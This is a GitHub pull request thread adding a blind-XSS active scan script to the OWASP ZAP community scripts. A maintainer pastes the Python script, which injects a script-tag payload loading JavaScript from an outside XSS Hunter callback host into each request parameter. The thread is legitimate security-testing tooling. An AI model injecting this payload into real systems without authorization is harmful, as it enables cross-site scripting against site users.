Skip to content

Conversation

@MindPatch
Copy link
Contributor

No description provided.

@MindPatch MindPatch force-pushed the bxss branch 2 times, most recently from 17f6a21 to 56b2dbf Compare March 24, 2021 02:12
@thc202
Copy link
Member

thc202 commented Apr 7, 2021

The changelog should be updated.

@kingthorin
Copy link
Member

@knassar702 are you going to address @thc202’s feedback?

@MindPatch
Copy link
Contributor Author

hello @thc202 @kingthorin , im so sorry for this long time I was a bit busy because of studying , i changed it now

regards

@kingthorin
Copy link
Member

Okay, I'll rebase and address the conflict tomorrow.

@kingthorin
Copy link
Member

Done

@kingthorin
Copy link
Member

Note: Before you make any further changes/contributions on this PR please ensure you do the following.

git fetch origin
git reset --hard origin/bxss

(That assumes origin is your remote fork.)

@kingthorin
Copy link
Member

If others are good with this I can fix the conflict.

@thc202
Copy link
Member

thc202 commented Nov 1, 2021

It seems there were too many changes, the bxss is no longer being injected and it's just sending unchanged messages.

@thc202
Copy link
Member

thc202 commented Nov 1, 2021

This is what was intended I think:

# by: Khaled Nassar @knassar702

# YOUR XSSHUNTER PAYLOAD
bxss = '"><script src="//yourusername.xss.ht"></script>'
def scanNode(sas, msg):
  pass


def scan(sas, msg, param, value):

  # Copy requests before reusing them
  msg = msg.cloneRequest();

  # setParam (message, parameterName, newValue)
  sas.setParam(msg, param, bxss);

  # sendAndReceive(msg, followRedirect, handleAntiCSRFtoken)
  sas.sendAndReceive(msg, False, False);

From https://raw.githubusercontent.com/zaproxy/community-scripts/17f6a21edf5df582f67c36104b85c683c933216e/active/bxss.py with the comment addressed.

Add active/bxss.js


Signed-off-by: Khaled Nassar <45688522+knassar702@users.noreply.github.com>
@kingthorin
Copy link
Member

Should be good now I think

@thc202
Copy link
Member

thc202 commented Nov 1, 2021

Thank you both!

@kingthorin kingthorin merged commit a2cb847 into zaproxy:main Nov 1, 2021
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Development

Successfully merging this pull request may close these issues.

3 participants